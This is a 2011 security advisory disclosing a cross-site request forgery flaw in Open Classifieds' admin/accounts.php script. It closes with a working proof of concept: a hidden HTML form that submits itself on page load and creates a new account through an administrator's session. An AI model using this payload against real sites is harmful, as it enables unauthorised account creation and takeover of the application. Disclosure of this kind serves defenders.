HTB22980: XSRF (CSRF) in Open Classifieds

Type securityvulns
Reporter Securityvulns
Modified 2011-05-13T00:00:00


Vulnerability ID: HTB22980 Reference: Product: Open Classifieds Vendor: Open Classifieds Team ( ) Vulnerable Version: and probably prior versions Vendor Notification: 28 April 2011 Vulnerability Type: CSRF (Cross-Site Request Forgery) Risk level: Low Credit: High-Tech Bridge SA Security Research Lab ( )

Vulnerability Details: The vulnerability exists due to failure in the "admin/accounts.php" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/accounts.php" method="post" name="main"> <input type="hidden" name="name" value="myaccount"> <input type="hidden" name="email" value=""> <input type="hidden" name="account" value=""> <input type="hidden" name="action" value="new"> </form> <script> document.main.submit(); </script>